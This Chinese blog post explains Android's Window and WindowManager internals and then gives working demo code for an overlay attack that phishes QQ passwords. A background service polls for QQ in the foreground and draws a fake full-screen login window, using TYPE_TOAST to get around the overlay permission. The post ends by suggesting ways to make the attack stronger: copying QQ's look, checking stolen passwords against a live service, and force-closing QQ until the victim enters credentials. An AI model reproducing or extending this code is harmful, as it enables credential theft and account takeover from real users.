通过案例分析Android WindowManager解析与骗取QQ密码的过程

时间:2022-02-08 08:11:24

 windows manager是一款窗口管理终端,可以远程连接到linux的x桌面进行管理,与服务器端产生一个session相互通信。

最近在网上看见一个人在乌云上提了一个漏洞,应用可以开启一个后台service,检测当前顶部应用,如果为qq或相关应用,就弹出一个自定义window用来诱骗用户输入账号密码,挺感兴趣的,总结相关知识写了一个demo,界面如下(界面粗糙,应该没人会上当吧,意思到了就行哈=, =):

通过案例分析Android WindowManager解析与骗取QQ密码的过程

window&&windowmanager介绍

  分析demo之前,先要整理总结一下相关的知识。先看看window类,window是一个抽象类,位于代码树frameworks\u0008asecorejavaandroidviewwindowjava.java文件。连同注释,这个文件总共一千多行,它概括了android窗口的基本属性和基本功能。唯一实现了这个抽象类的是phonewindow,实例化phonewindow需要一个窗口,只需要通过windowmanager即可完成,window类的具体实现位于windowmanagerservice中,windowmanager和windowmanagerservice的交互是一个ipc过程。android中的所有视图都是通过window来呈现的,不管是activity,dialog还是toast,他们的视图实际上都是附加在window上的,因此window实际上是view的直接管理者,点击事件也是由window传递给view的。windowmanager.layoutparams.type参数表示window的类型,共有三种类型,分别是应用window,子window和系统window。应用window对应着一个activity,类似dialog之类的子window不能单独存在,他需要附属在应用window上才可以,系统window则不需要,比如toast之类,可以直接显示。每个window都有对应的z-orderd,层级大的window会覆盖在层级小的window之上,应用window的层级范围是1~99,子window的范围是1000~1999,系统window的范围是2000~2999,这些层级范围都对应着相关的type,type的相关取值:官网链接和中文资料。windowmanager.layoutparams.flags参数表示window的属性,默认为none,flags的相关取值:官方链接,还有其他的layoutparams变量名称和取值可以参考windowmanager.layoutparams(上) 和windowmanager.layoutparams(下) 两篇译文博客,很详细。

  再详细分析一下windowmanager,windowmanager主要用来管理窗口的一些状态、属性、view增加、删除、更新、窗口顺序、消息收集和处理等。通过代码context.getsystemservice(context.window_service)可以获得windowmanager的实例。windowmanager所提供的功能很简单,常用的只有三个方法,即添加view、更新view和删除view,这三个方法定义在viewmanager中,而windowmanager继承了viewmanager,

addview();
updateviewlayout();
removeview();

  这些函数是用来修改window的,它的真正实现是windowmanagerimpl类,windowmanagerimpl类并没有直接实现window的三大操作,而是全部交给了windowmanagerglobal来处理,windowmanagerglobal以工厂的形式向外提供自己的实例,在windowmanagerglobal中有如下一段代码:private final windowmanagerglobal mglobal = windowmanagerglobal.getinstance()。windowmanagerimpl这种工作模式是典型的桥接模式(不是装饰者模式:区别在这),将所有的操作全部委托给windowmanagerglobal来实现。

  view是android中视图的呈现方式,但是view不能单独存在,他必须要附着在window这个抽象的概念上面,每一个window都对应着一个view和一个viewrootimpl,window和view通过viewrootimpl来建立联系,因此有视图的地方就有window,比如常见的activity,dialog,toast等。

  对于每个activity只有一个decorview也就是viewroot,window是通过下面方法获取的
  window mwindow = policymanager.makenewwindow(this);

创建完window之后,activity会为该window设置回调,window接收到外界状态改变时就会回调到activity中。在activity中会调用setcontentview()函数,它是调用 window.setcontentview()完成的,而window的具体实现是phonewindow,所以最终的具体操作是在phonewindow中,phonewindow的setcontentview方法第一步会检测decorview是否存在,如果不存在,就会调用generatedecor函数直接创建一个decorview;第二步就是将activity的视图添加到decorview的mcontentparent中;第三步是回调activity中的oncontentchanged方法通知activity视图已经发生改变。这些步骤完成之后,decorview还没有被windowmanager正式添加到window中,最后调用activity的onresume方法中的makevisible方法才能真正地完成添加和现实过程,activity的视图才能被用户看到。

  dialog的window的创建过程和activity类似,第一步也是用过policymanager.makenewwindow方法来创建一个window,不过这里传入的context必须要为activity的context;第二步也是通过setcontentview函数去设置dialog的布局视图;第三步调用show方法,通过windowmanager将decorview添加到window中显示出来。

  toast和dialog不同,它稍微复杂一点,首先toast也是基于window来实现的,但是由于toast具有定时取消的这一个功能,所以系统采用了handler。在toast的内部有两类ipc过程,第一类是toast访问notificationmanagerservice,第二类是notificationmanagerservice回调toast里的tn接口。在toast类中,最重要的用于显示该toast的show方法调用了service.enqueuetoast(pkg, tn, mduration);也就是说系统为我们维持了一个toast队列,这也是为什么两个toast不会同时显示的原因,该方法将一个toast入队,显示则由 系统维持显示的时机。

?
1
2
3
4
5
6
7
8
private static inotificationmanager sservice;
static private inotificationmanager getservice() {
if (sservice != null) {
return sservice;
}
sservice = inotificationmanager.stub.asinterface(servicemanager.getservice("notification"));
return sservice;
}

该服务sservice就是系统用于维护toast的服务。最后nms会通过ipc调用toast类内部的一个静态私有类tn,该类是toast的主要实现,该类完成了toast视图的创建,显示和隐藏。

骗取qq密码实例

  有了上面的基础之后,这个例子其实就非常简单了。

  第一步编写一个service并且在service中弹出一个自定义的window:

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
windowmanager = (windowmanager) getsystemservice(context.window_service);
windowmanager.layoutparams params = new windowmanager.layoutparams();
params.width = windowmanager.layoutparams.match_parent;
params.height = windowmanager.layoutparams.match_parent;
params.flags = windowmanager.layoutparams.flag_not_touch_modal;
params.type = windowmanager.layoutparams.type_toast;
params.format = pixelformat.transparent;
params.gravity = gravity.center;
params.softinputmode = windowmanager.layoutparams.soft_input_adjust_pan;
layoutinflater inflater = layoutinflater.from(this);
v = (relativelayoutwithkeydetect) inflater.inflate(r.layout.window, null);
v.setcallback(new relativelayoutwithkeydetect.ikeycodebackcallback() {
@override
public void backcallback() {
if (v!=null && v.isattachedtowindow())
l.e("remove view ");
windowmanager.removeviewimmediate(v);
}
});
btn_sure = (button) v.findviewbyid(r.id.btn_sure);
btn_cancel = (button) v.findviewbyid(r.id.btn_cancel);
et_account = (edittext) v.findviewbyid(r.id.et_account);
et_pwd = (edittext) v.findviewbyid(r.id.et_pwd);
cb_showpwd = (checkbox) v.findviewbyid(r.id.cb_showpwd);
cb_showpwd.setoncheckedchangelistener(new compoundbutton.oncheckedchangelistener() {
@override
public void oncheckedchanged(compoundbutton buttonview, boolean ischecked) {
if (ischecked) {
et_pwd.settransformationmethod(hidereturnstransformationmethod.getinstance());
} else {
et_pwd.settransformationmethod(passwordtransformationmethod.getinstance());
}
et_pwd.setselection(textutils.isempty(et_pwd.gettext()) ?
0 : et_pwd.gettext().length());
}
});
//useless
// v.setonkeylistener(new view.onkeylistener() {
// @override
// public boolean onkey(view v, int keycode, keyevent event) {
// log.e("zhao", keycode+"");
// if (keycode == keyevent.keycode_back) {
// windowmanager.removeviewimmediate(v);
// return true;
// }
// return false;
// }
// });
//点击外部消失
v.setontouchlistener(new view.ontouchlistener() {
@override
public boolean ontouch(view view, motionevent event) {
rect temp = new rect();
view.getglobalvisiblerect(temp);
l.e("remove view ");
if (temp.contains((int)(event.getx()), (int)(event.gety()))){
windowmanager.removeviewimmediate(v);
return true;
}
return false;
}
});
btn_sure.setonclicklistener(this);
btn_cancel.setonclicklistener(this);
l.e("add view ");
windowmanager.addview(v, params);

  这里有几点需要说明一下,第一个是type使用type_toast而不是用type_system_error是可以绕过权限的,这个是在知乎上看见有人说的一个漏洞,哈哈;第二个是因为有edittext,所以softinputmode需要设置为soft_input_adjust_pan,要不然软键盘会覆盖window;第三个是返回键的监听,setonkeylistener是不好用的,最后只能复写view类的dispatchkeyevent函数来实现按键监听了;第四个是点击外部消失的操作,看代码就会明白了。

  实现了弹出框的弹出之后,接着就要设置一个实时监听,开启一个线程,每隔几秒去监听用户正在操作的应用是否是qq,这个就简单多了,使用activitymanager就可以了:

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
new thread(new runnable() {
@override
public void run() {
while (isrunning){
l.e("running");
try {
thread.sleep(3000);
} catch (interruptedexception e) {
e.printstacktrace();
}
activitymanager activitymanager = (activitymanager)
getsystemservice(context.activity_service);
list<activitymanager.runningappprocessinfo> list =
activitymanager.getrunningappprocesses();
if (list.get(0).processname.equals("com.tencent.mobileqq")){
myhandler.sendemptymessage(1);
}
}
}
}).start();

  这样效果就差不多了,最后在activity中启动该service即可,当然这个还有很多改进的余地:

   1. 修改ui,使之更加的和qq风格相似。

   2. 用户输入完账号和密码之后,可以addview一个loadingdialog,接着调用相关接口去验证用户名和密码的正确性,不正确提示用户重新输入。

   3. 如果用户不输入账号和密码,直接调用killbackgrondprocess函数(需要权限),强硬的把qq关闭,直到用户输入账号和密码。

以上通过案例分析android windowmanager解析与骗取qq密码的过程,希望本文分享对大家有所帮助。